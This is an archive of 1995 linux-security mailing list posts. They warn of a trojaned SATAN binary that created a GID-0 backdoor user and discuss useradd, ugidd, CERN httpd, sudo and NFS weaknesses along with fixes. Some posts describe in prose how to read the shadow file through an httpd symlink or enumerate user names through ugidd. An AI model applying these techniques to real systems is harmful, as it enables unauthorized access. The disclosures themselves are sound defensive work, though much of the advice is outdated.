BRIEFLY It came to our attention that some pre-compiled Linux SATAN Binaries create a user 'suser' with GID 0 in /etc/passwd. SATAN IS NOT SUPPOSED TO DO IT! =============================== To check if your binary is compromised use command "strings * | grep suser" in Satan's root directory and Satan's bin/ subdirectory. All compromised binaries are likely to show a string with 'suser'. If your system was compromised, delete user 'suser' from password file and obtain another copy of Satan. You can also place '*' in the password field of /etc/passwd to block 'susers' attacks. SITES THAT DISTRIBUTED COMPROMISED SATAN BINARIES The compromised SATAN binaries were placed on the following FTP site: ftp://router.epinet.com From what we know that binary then was re-distributed to other Linux FTP sites. There is NO Trojan horse in the Satan patch that is currently on the sunsite.unc.edu in the /pub/Linux/Incoming. WERE ANY SITES COMPROMISED USING THIS TROJAN HORSE? We are aware of two cases where system security had been compromised using the Trojan horse in Satan Binaries. The GID of 'suser' being equal to 0, allowed intruders to modify Group-Writable files on a system. HOW CAN I DETECT IF MY SITE WAS ATTACKED? Scan your system logs for 'suser' logins using grep suser /usr/adm/{syslog|messages} ARE THERE ANY SITES THAT ATTEMP TO PERFORM UNATHORISED ACCESS TO SYSTEMS USING THE BACKDOOR CREATED BY SATAN? That site is 'router.epinet.com'. Some of the messages in comp.unix.security and other newsgroups urge you to send email to [email protected] if you suspect that your system was compromised. PLEASE DO NOT DO IT! Even if the person '[email protected]' is not going to attack you, think about the number of people that could sniff that message! ------CUT-HERE---------------------CUT-HERE-------------CUT-HERE-------- ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= From [email protected] Thu Apr 13 18:09:25 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id SAA07816; Thu, 13 Apr 1995 18:03:19 -0400 Received: from i17linuxb.ists.pwr.wroc.pl (i17linuxb.ists.pwr.wroc.pl [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id KAA06877; Thu, 13 Apr 1995 10:31:32 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.10/8.6.9) id QAA04876 for [email protected]; Thu, 13 Apr 1995 16:31:26 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: useradd bug To: [email protected] Date: Thu, 13 Apr 1995 16:31:25 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 933 Sender: [email protected] Precedence: list Some time ago I posted a message about a bug in the useradd command from the Shadow Password Suite. (The bug: useradd without "-u uid" may create a new user with uid 0 because of overflow if there are users in /etc/passwd with high uid values like "nobody"==65534.) I just want to add this info: even if you are not using shadow passwords, you are not safe! At least the Slackware distribution (maybe others too) includes the useradd (and groupadd) programs from the shadow suite, even though this distribution does not support shadow passwords. I have sent mail about this bug to the author. Until the bug is fixed, always use the -u option, use a different program (such as adduser), or edit /etc/passwd (and /etc/shadow if you have one) by hand. If you have any questions about this, please mail them directly to me, to save the moderators some work :-). Regards, -- Marek Michalkiewicz From [email protected] Thu Apr 13 18:15:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id SAA07865; Thu, 13 Apr 1995 18:11:35 -0400 Received: from linux4nn.iaf.nl (linux4nn.iaf.nl [193.67.144.34]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id HAA26363; Sat, 8 Apr 1995 07:59:24 -0400 Received: from uni4nn.iaf.nl ([email protected] [193.67.144.33]) by linux4nn.iaf.nl (8.6.9/8.6.9) with SMTP id OAA03192 for ; Sat, 8 Apr 1995 14:03:14 +0200 Received: by uni4nn.iaf.nl id AA06588 (5.67b/IDA-1.5 for [email protected]); Sat, 8 Apr 1995 14:00:04 +0100 Message-Id: <[email protected]> Subject: randomizing filehandles: why not use fsirand? To: [email protected] Date: Sat, 8 Apr 1995 14:00:03 +0100 (METDST) From: "Peter Bouthoorn" X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 609 Sender: [email protected] Precedence: list Hi, I've wondered why noone (to my knowledge) has suggested to write a tool similar to fsirand. Fsirand randomizes all inode numbers on a system, which makes guessing file handles a little harder. Of course the randomization used in such a tool should be "really random", so that we don't end up with the same problem as SunOS: the random element used in fsirand wasn't random enough. Comments anyone? Peter -- Peter Bouthoorn | Internet Access Foundation - http://www.iaf.nl/ [email protected] | Internet Provider in Noord-Nederland Linux addict | PoP in Groningen + Enschede From [email protected] Thu Apr 13 23:32:39 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id XAA09201; Thu, 13 Apr 1995 23:29:06 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id WAA08923; Thu, 13 Apr 1995 22:08:21 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA20816; Thu, 13 Apr 95 22:08:19 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA17078; Thu, 13 Apr 1995 22:08:14 +0500 Date: Thu, 13 Apr 1995 22:08:14 +0500 From: "Theodore Ts'o" Message-Id: <[email protected]> To: "Peter Bouthoorn" Cc: [email protected] In-Reply-To: Peter Bouthoorn's message of Sat, 8 Apr 1995 14:00:03 +0100 (METDST), <[email protected]> Subject: Re: randomizing filehandles: why not use fsirand? Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 1367 Sender: [email protected] Precedence: list Date: Sat, 8 Apr 1995 14:00:03 +0100 (METDST) From: "Peter Bouthoorn" I've wondered why noone (to my knowledge) has suggested to write a tool similar to fsirand. Fsirand randomizes all inode numbers on a system, which makes guessing file handles a little harder. Of course the randomization used in such a tool should be "really random", so that we don't end up with the same problem as SunOS: the random element used in fsirand wasn't random enough. Comments anyone? (putting on my security hat) I have a set of kernel patches which implement a "really random" /dev/random. It works by sampling environmental noise from keyboard timings and other peripherals, and mixing it together using a cryptographic hash function. It's been something that I've been working for the past couple of months, on and off, but I finally finished it only last week. It's currently waiting for a couple of other security experts to go over my code and my algorithms, to make sure I didn't miss anything that might compromise "really random"-ness of the code. (The idea is that the end result should be good enough even for the purposes of generating keying material for public or secret key systems.) After it's been audited by a couple of people whom I trust, I'll make it available for general distribution. - Ted linux-security/1995/linux-security.950414100664 1767 1767 5303 5743525064 17243 0ustar majdommajdomFrom [email protected] Fri Apr 14 13:00:31 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id MAA18478; Fri, 14 Apr 1995 12:51:13 -0400 Received: from netcom20.netcom.com (netcom20.netcom.com [192.100.81.133]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id OAA27486; Sat, 8 Apr 1995 14:34:49 -0400 Received: by netcom20.netcom.com (8.6.12/Netcom) id LAA03544; Sat, 8 Apr 1995 11:34:45 -0700 From: [email protected] (Al Longyear) Message-Id: <[email protected]> Subject: Re: Trojan in Linux Satan Binaries To: [email protected] (S. Joel Katz) Date: Sat, 8 Apr 1995 11:34:45 -0700 (PDT) Cc: [email protected] In-Reply-To: from "S. Joel Katz" at Apr 8, 95 09:41:03 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 944 Sender: [email protected] Precedence: list Joel Katz writes: > SECURITY ALERT -- Trojan in Linux Satan Binaries > > ---------------------------------------------------------------------------- > > It appears that someone with physical access to my computer inserted > a Trojan into my release of the Linux Satan binaries. This definitely > affects the versions downloaded from ftp.epinet.com and may affect those > from other sites. At least 400 sites have ftp'd the trojan. Perhaps it is time to recommend that the MD5 checksum be published by the person making the announcement for a file that they wish to publish. It would remove doubt that a person who obtains the binary archive indeed has the true code. 1. There are no trojan programs in the archive. and 2. The person obtained the file without it being corrupted. The most common corruption is that the person has used 'ascii' to transfer binary files. -- Al Longyear [email protected] Finger for PGP key [Mod: Though this isn't Linux-specific, I thought I'd forward it as it is probably a good idea to start some pressure out there in the Linux community for people to use MD5 checksums, PGP signatures, etc., to prove that binary (and other) distributions of their work are unaltered. Let's not start a long debate on this though--it's just a good idea whose time has unfortunately come it seems (IMHO). Perhaps we might also set up a PGP key repository specifically for Linux activists' keys, much like the general public key servers that exist at sites like MIT? It could be FTP'able, WWWebbable (is that a word?), etc., so that you could grab all the registered Linux public keys and updates in one sweep every now and then for use in verifications. --Jeff.] linux-security/1995/linux-security.950415100664 1767 1767 3406 5743764673 17261 0ustar majdommajdomFrom [email protected] Sat Apr 15 11:43:51 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA21775; Sat, 15 Apr 1995 11:34:07 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA21756; Sat, 15 Apr 1995 11:30:40 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0s09ov-0005BLC; Sat, 15 Apr 95 17:31 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0s0AVJ-000KjaC; Sat, 15 Apr 95 18:15 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: NFS uid/gid map daemon To: [email protected] Date: Sat, 15 Apr 1995 18:15:25 +0200 (MET DST) Cc: [email protected] (Jeff Uphoff) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 791 Sender: [email protected] Precedence: list Hello, prompted by a posting in c.o.l.networking, I looked at the ugidd stuff present in earlier versions of nfsd. I found that it may be a security problem for some sites. The ugidd interface specifies a call that maps a given uid or gid to a user or group name. This lets others collect all user names on your host by simply looping through the uid space. Immediate fix: kill off rpc.ugidd and make sure it isn't started from rc.inet2. Note that although nfsd version 2.0 and later does not support the ugid protocol anymore (I guess now I know why Rick removed it:), the server is still shipped with current distributions. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax linux-security/1995/linux-security.950416100664 1767 1767 3161 5744160443 17242 0ustar majdommajdomFrom [email protected] Sun Apr 16 05:19:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id FAA23929; Sun, 16 Apr 1995 05:09:52 -0400 Received: from disperse.demon.co.uk (disperse.demon.co.uk [158.152.1.77]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id UAA23205; Sat, 15 Apr 1995 20:52:29 -0400 Received: from post.demon.co.uk by disperse.demon.co.uk id aa27625; 16 Apr 95 1:52 GMT-60:00 Received: from dallas.demon.co.uk by post.demon.co.uk id aa14856; 16 Apr 95 1:52 GMT-60:00 Received: (from vince@localhost) by dallas.demon.co.uk (8.6.11/8.6.9) id AAA00478 for [email protected]; Sun, 16 Apr 1995 00:46:20 GMT From: Mr Pink Message-Id: <[email protected]> Subject: HTTPD bug To: [email protected] Date: Sun, 16 Apr 1995 00:46:20 +0000 (GMT) In-Reply-To: from "Olaf Kirch" at Apr 15, 95 06:15:25 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 505 Sender: [email protected] Precedence: list Hello all, i was browsing thru alt.2600, as you do, and spotted something of interest it appears there is a problem with the CERN httpd. It allows you to create a directory in a users home dir that can be accessed via mosaic/netscape. well the bad bit of news is, if you sym link this dir to root (/), file ownership becomes non existent. i was easily able to read the shadow passwd file! -- "Why should i be frightened of dying? Theres no reason for it. You've got to go sometime." - TGGITS linux-security/1995/linux-security.950417100664 1767 1767 5420 5744537771 17257 0ustar majdommajdomFrom [email protected] Mon Apr 17 15:22:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id PAA07721; Mon, 17 Apr 1995 15:09:40 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id NAA07290; Mon, 17 Apr 1995 13:44:06 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0s0uqi-0005BXC; Mon, 17 Apr 95 19:44 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0s0vKx-000KjXC; Mon, 17 Apr 95 20:15 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: httpd problem - summary of replies To: [email protected] Date: Mon, 17 Apr 1995 20:15:50 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list Hello, Yesterday's post referring to the httpd problem prompted about half a dozen of replies pointing out that this hole is basically a configuration problem. Instead of posting all of them, I think it might be better to summarize them. Any errors or omissions in this posting are my fault, not those of the original posters, which were: Leonard N. Zubkoff Avery Pennarun Jon Lewis Mr Martin J Hargreaves Perry F Nguyen Peter Drier [email protected] (Michael Shields) Darren Reed By default, CERN httpd changes its uid and gid to nobody/nogroup after setting up the TCP port, so it's impossible to access files you're not supposed to. uid and gid can be set explicitly in the httpd.conf file using the UserId and GroupId attributes. Almost exactly the same applies to NCSA httpd. If you use the configuration files distributed with the source, it will also run as user nobody, group -1. These values can be changed by setting the User and Group attributes in httpd.conf. With this setup, malicious users on your system could still create a symlink to let anyone access world-readable files on your system (although it's a clumsy way of making data available to the outside world). Jon Lewis ([email protected]) pointed out that NCSA lets you plug this hole by specifying this in your access.conf file: Options Indexes Darren Reed pointed to a paper (draft?) he wrote about httpd and security; it can be gotten from http://www.arbld.unimelb.edu.au/~darrenr/httpd.ps. Regards Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax linux-security/1995/linux-security.950419100664 1767 1767 10400 5745252051 17255 0ustar majdommajdomFrom [email protected] Wed Apr 19 00:03:43 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id XAA04011; Tue, 18 Apr 1995 23:43:44 -0400 Received: from ns.rosprint.net (ns.RoSprint.net [193.232.88.17]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id KAA00290; Tue, 18 Apr 1995 10:42:19 -0400 Received: from lulu.RoSprint.net by ns.rosprint.net (5.4R3.00/200.2.1.5) id AA03677; Tue, 18 Apr 1995 14:42:15 GMT Date: Tue, 18 Apr 1995 18:42:46 +0400 (GMT+0400) From: Paul Makeev To: [email protected] Subject: SUDO bug In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I'm using sudo v1.1, and has detected strange thing: when user just entered his password to sudo prompt, he is able to make other sudo's w/o entering the password. It is ok. But if users logs-off, and logins in a short time, sudo still doesn't ask for password. -- Paul Makeev, sysadm, RoSprint Eng. Dept, [email protected] X.400: (C:USA,A:TELEMAIL,O:SPRINTINTL,UN:P.MAKEEV) From [email protected] Wed Apr 19 14:19:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id OAA07863; Wed, 19 Apr 1995 14:14:16 -0400 Received: from flowbee.beckman.uiuc.edu (flowbee.beckman.uiuc.edu [128.174.212.22]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id AAA04095; Wed, 19 Apr 1995 00:21:21 -0400 Received: from localhost.beckman.uiuc.edu by flowbee.beckman.uiuc.edu with SMTP id AA29720 (5.67b/IDA-1.5 for ); Tue, 18 Apr 1995 23:21:03 -0500 Message-Id: <[email protected]> X-Face: ?/"MXina;Tt'.c6A>P1["3Wm#HCKX-/DEGN$1y[T?I6fCGFUTh]6'<@mJ&1TSRDlc_>|Lo' %b|.Rwf= `7~U>E@VElJ`RI\Sb1h X-Uri: http://www.beckman.uiuc.edu/groups/biss/people/baba/ Reply-To: Baba Z Buehler From: Baba Z Buehler To: Paul Makeev Cc: [email protected] Subject: Re: SUDO bug In-Reply-To: Your message of "Tue, 18 Apr 1995 18:42:46 +0400." Date: Tue, 18 Apr 1995 23:21:03 -0500 Sender: [email protected] Precedence: list Paul Makeev writes: > I'm using sudo v1.1, and has detected strange thing: when user > just entered his password to sudo prompt, he is able to make other > sudo's w/o entering the password. It is ok. But if users logs-off, > and logins in a short time, sudo still doesn't ask for password. > this isn't a bug, its a feature. :-) ... it is described in the sudo docs, sudo has a "time limit" that a user can make repeated sudo's in without having to re-enter his/her password. this "time limit" is specified at compile time (i believe it is 5 minutes). sudo touch-es a (/tmp/.odus/username) and uses the timestamp on that file to determine if the user can make another sudo call without entering his/her password. since sudo is only comparing the timestamp to the current time, it doesn't matter if the user logs out and logs back in. /tmp/.odus is mode 700, owned by root, as are the files in it. i immagine this could be a security problem if you were nfs-exporting /tmp (but why would you do that?) for us here, the convienence of sudo (and the ability to let people do some root things without giving them full root) outweighs its security risks (which are minor)... I've also recompiled sudo so that the timeout is 2 minutes instead of 5. if someone can think of a large security problem with the way sudo operates, i'd like to hear it. -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # Quidquid latine dictum sit, altum viditur. # # WWW: http://www.beckman.uiuc.edu/groups/biss/people/baba/ # PGP public key on WWW homepage and key servers (key id: C13D8EE1) [mod: the main reason I approved the original post was that this feature is so strange that it might be good to call it to people's attention. --okir] linux-security/1995/linux-security.950421100664 1767 1767 12351 5745763077 17274 0ustar majdommajdomFrom [email protected] Fri Apr 21 05:21:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id EAA27794; Fri, 21 Apr 1995 04:58:09 -0400 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id OAA07926; Wed, 19 Apr 1995 14:35:58 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Wed, 19 Apr 1995 20:35:46 +0200 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id UAA13887 for [email protected]; Wed, 19 Apr 1995 20:35:20 +0200 Message-Id: <[email protected]> Subject: IP firewalling and security To: [email protected] (linux-security) Date: Wed, 19 Apr 1995 20:35:19 +0200 (MET DST) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1617 Sender: [email protected] Precedence: list IP firewalling for a single machine, methinks, can be used to enhance security of such services such as X or NFS. Suppose you only want to provide NFS service to the local subnet 192.168.0.0 (netmask 255.255.0.0), from your local server, 192.168.5.123. In that case, putting the lines ipfw add b deny udp from 0.0.0.0/0 to 192.168.5.123 111 ipfw add b accept udp from 192.168.0.0/16 to 192.168.5.123 111 ipfw add b deny udp from 0.0.0.0/0 to 192.168.5.123 2049 ipfw add b accept udp from 192.168.0.0/16 to 192.168.5.123 2049 into a suitable place (such as /etc/rd.c/rc.inet1) will block any Portmapper or NFS requests which appear to come from outside your local organization to be silently dropped. If your router is configured to drop any packets which appear to come from the inside, but come in from the outside, you've closed any NFS holes there may be to the outside world. If your router doesn't - well, just how susceptible is NFS to an attack similar in style to TCP spoofing? If you're only exporting read-only, and this works, things should be fairly secure. If you're exporting read - write, an attacker could possibly overwrite some data. Question: if you've got nfsd and rpcd running firewalled, can anything be gained by also firewalling mountd? This would probably have to be done in mountd itself, since it doesn't bind to a specified port. [BTW, thanks to Alan Cox for helping me figure out the ipfw syntax :-] -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. From [email protected] Fri Apr 21 13:07:02 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA28892; Fri, 21 Apr 1995 13:00:10 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id JAA28183; Fri, 21 Apr 1995 09:35:12 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0s2Irw-0005BNC; Fri, 21 Apr 95 15:35 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0s2JYu-000KjEC; Fri, 21 Apr 95 16:20 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Nobody could be anybody To: [email protected] Date: Fri, 21 Apr 1995 16:20:00 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1691 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, I just came across a problem when checking a new Slackware 2.2 installation on a friend's machine. In /etc/passwd, it assigns user nobody a uid of -1 and a gid of 100 (i.e. users). While the latter may be questionable, the former is plain wrong because the seteuid system call, when given a uid of -1, does nothing (well, it returns the current effective uid, but that's it). I can't say if this problem exists in other distributions, too. I have checked if this affects servers started by inetd under the nobody account. They seem to be safe because inetd performs a setuid call that does not treat -1 specially. I don't know if this opens up any actual holes, but there *are* a couple of programs that set their euid to nobody for certain purposes. smail is one of them, another is rpc.rwalld. This problem also affects root squashing in nfsd-2.1 and nfsd-2.2alpha when using the seteuid method of setting the client's uid/gid instead of setfsuid. The obvious fix is to change nobody's uid to -2 (which is the common value as far as I know). While you're at it, you may also want to change its group id to -2 as well. Regards Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL5e+z+FnVHXv40etAQFzUgQAk3/pd+fbPcD00THmKZ86kwk47OXMJ/al 5Mo9eJ48Y/ofkwcwsJHg6TCqoKLUPma2eUczgevAWuxyJMBanod6HkirGeUU2wI7 eLyF/o+V9YM0s/uah3EfeGyMzgH4Li8mXg/+qRCvRic3N3Kk3qMP72qftQJht4Kf KYQoXFij2FM= =w2Xh -----END PGP SIGNATURE----- linux-security/1995/linux-security.950422100664 1767 1767 4167 5746155442 17253 0ustar majdommajdomFrom [email protected] Sat Apr 22 06:31:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id GAA31710; Sat, 22 Apr 1995 06:17:40 -0400 Received: from bootes.cus.cam.ac.uk (bootes.cus.cam.ac.uk [131.111.8.1]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id KAA07640; Wed, 19 Apr 1995 10:03:25 -0400 Received: by bootes.cus.cam.ac.uk (Smail-3.1.29.0 #30) id m0s1aL9-000C0ZC; Wed, 19 Apr 95 15:02 BST Received: by chiark id m0s1XWm-0000YJZ (Debian /\oo/\ Smail3.1.29.1 #29.30); Wed, 19 Apr 95 12:02 BST Message-Id: Date: Wed, 19 Apr 95 12:02 BST From: [email protected] (Ian Jackson) To: [email protected] Subject: Re: randomizing filehandles: why not use fsirand? Sender: [email protected] Precedence: list [mod: If people wish to discuss this issue further with Peter and Ian, I suggest you take it to private email. --okir] "Peter Bouthoorn" writes ("randomizing filehandles: why not use fsirand?"): > I've wondered why noone (to my knowledge) has suggested to write > a tool similar to fsirand. Fsirand randomizes all inode numbers > on a system, which makes guessing file handles a little harder. > Of course the randomization used in such a tool should be > "really random", so that we don't end up with the same problem > as SunOS: the random element used in fsirand wasn't random enough. > Comments anyone? This is a horrible hack. Why should I fragment my filesystems' inode maps, not to mention take the system down to do it ? Furthermore, it provides only very weak protection. It won't stop an exhaustive search, nor will it help very much with the general security problems with NFS. It won't prevent an attack by an insider who can ls -i files. If you really want to do this, why not use a keyed hash to `sign' the filehandle, so that the server can tell whether it generated a filehandle or not ? MD5 generates 128-bit hashes, which would be half of a 32-byte filehandle. It'll break your clients whenever you change the secret, but it's probably better than nothing even if you never do so. Ian. linux-security/1995/linux-security.950424100664 1767 1767 33442 5747031541 17265 0ustar majdommajdomFrom [email protected] Mon Apr 24 11:48:29 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA08844; Mon, 24 Apr 1995 11:28:09 -0400 Received: from crunch (orange.qtp.ufl.edu [128.227.16.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id DAA07283; Mon, 24 Apr 1995 03:28:10 -0400 Received: from inorganic5.chem.ufl.edu by crunch (5.x/4.11) id AA13665; Mon, 24 Apr 1995 03:28:07 -0400 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.11/8.6.9) id DAA30747; Mon, 24 Apr 1995 03:29:48 -0400 Date: Mon, 24 Apr 1995 03:29:47 -0400 (EDT) From: Jon Lewis To: Paul Makeev Cc: [email protected] Subject: Re: SUDO bug In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 18 Apr 1995, Paul Makeev wrote: > I'm using sudo v1.1, and has detected strange thing: when user > just entered his password to sudo prompt, he is able to make other > sudo's w/o entering the password. It is ok. But if users logs-off, > and logins in a short time, sudo still doesn't ask for password. RTM!...This is a documented feature, not a bug. If it worries you, shorten the time period in the source and recompile. Was it on another mailing list, or did someone else just ask this a week or less ago? ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ [Mod: It was on this list--it appears that Paul Makeev's message got stuck in the mail queue for a couple/few days (I don't know why), and the replies to this question (well, one at least) wound up being delivered before the original message. Apologies for the confusion--I'll be sending my 'sendmail' binary to bed without supper tonight for this misbehavior. --Jeff.] From [email protected] Mon Apr 24 15:45:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id PAA10552; Mon, 24 Apr 1995 15:39:55 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id PAA10548; Mon, 24 Apr 1995 15:39:51 -0400 Date: Mon, 24 Apr 1995 15:39:51 -0400 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: FYI: Current security lists' propagation. X-Quote-I-Like: "Spam is a trademark of Hormel." X-Attribution: Up Sender: [email protected] Precedence: list I just thought I'd put out a quick FYI with a breakdown of the Linux security lists' current propagation for those that may be interested in seeing the widespread interest in Linux security, as well as the widespread use of Linux in general. All four lists (linux-security, linux-security-digest, linux-alert, and linux-alert-digest) are lumped together into one report here for brevity--thus the total number of subscriptions and the totals for each domain are misleading; many people subscribe to more than one list, and many of the subscriptions are actually remote mailing lists to yet more people. The geographical breakdown is the main interesting point... The domain descriptions are taken directly from the 'whois' service. 595 : ( edu) U.S.A. (education) 502 : ( com) U.S.A. (commercial) 240 : ( de) Germany (Federal Republic of) 170 : ( uk) United Kingdom of Great Britain 112 : ( net) "Network" [largely U.S.A.] 94 : ( ca) Canada 78 : ( fi) Finland (Republic of) 69 : ( org) "Organization" [largely U.S.A.] 52 : ( nl) Netherlands 50 : ( no) Norway (Kingdom of) 42 : ( se) Sweeden (Kingdom of) 39 : ( gov) U.S.A. (government) 28 : ( mil) U.S.A. (military) 28 : ( au) Australia 28 : ( it) Italy (Italian Republic) 27 : ( fr) France (French Republic) 26 : ( at) Austria (Republic of) 24 : ( es) Spain (Kingdom of) 22 : ( za) South Africa (Republic of) 18 : ( us) United States of America 18 : ( il) Israel (State of) 17 : ( pt) Portugal (Portuguese Republic) 16 : ( dk) Denmark (Kingdom of) 13 : ( be) Belgium (Kingdom of) 13 : ( br) Brazil (Federative Republic of) 13 : ( nz) New Zealand 13 : ( ch) Switzerland (Swiss Confederation) 12 : ( pl) Poland (Republic of) 11 : ( hu) Hungary (Republic of) 8 : ( kr) Korea (Republic of) 7 : ( jp) Japan 6 : ( hk) Hong Kong (Hisiangkang, Xianggang) 6 : ( hr) Croatia/Hrvatska (Republic of) 6 : ( ro) Romania 5 : ( ee) Estonia (Republic of) 5 : ( ua) Ukraine 5 : ( si) Slovenia 4 : ( su) Soviet Union (Union of Soviet Socialist Republics) 4 : ( th) Thailand (Kingdom of) 4 : ( ru) Russia (Russian Federation) 4 : ( tw) Taiwan 4 : ( ie) Ireland 4 : ( cl) Chile (Republic of) 4 : ( is) Iceland (Republic of) 4 : ( cz) Czech Republic 3 : ( gr) Greece (Hellenic Republic) 2 : ( mx) Mexico (United Mexican States) 2 : ( my) Malaysia 2 : ( uy) Uruguay (Eastern Republic of) 2 : ( yu) Yugoslavia (Federal Republic of) 2 : ( lv) Latvia (Republic of) 2 : ( gb) Great Britain (United Kingdom of) 2 : ( ar) Argentina (Argentine Republic) 2 : ( sg) Singapore (Republic of) 2 : ( uucp) UUCP 1 : ( mz) Mozambique (People's Republic of) 1 : ( sk) Slovakia TOTAL: 2473 in 57 top-level domains. --Up. P.S. Anyone out there that runs a Majordomo server and/or is interested in a copy of my compilation utility (I whipped up a small Perl program to do this, as well as created an association map for domains) can just drop me e-mail... -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Mon Apr 24 17:04:02 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id RAA11309; Mon, 24 Apr 1995 17:01:48 -0400 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id MAA28749; Fri, 21 Apr 1995 12:08:17 -0400 Received: (from panzer@localhost) by dhp.com (8.6.12/8.6.9) id MAA30941; Fri, 21 Apr 1995 12:07:22 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Panzer Boy) 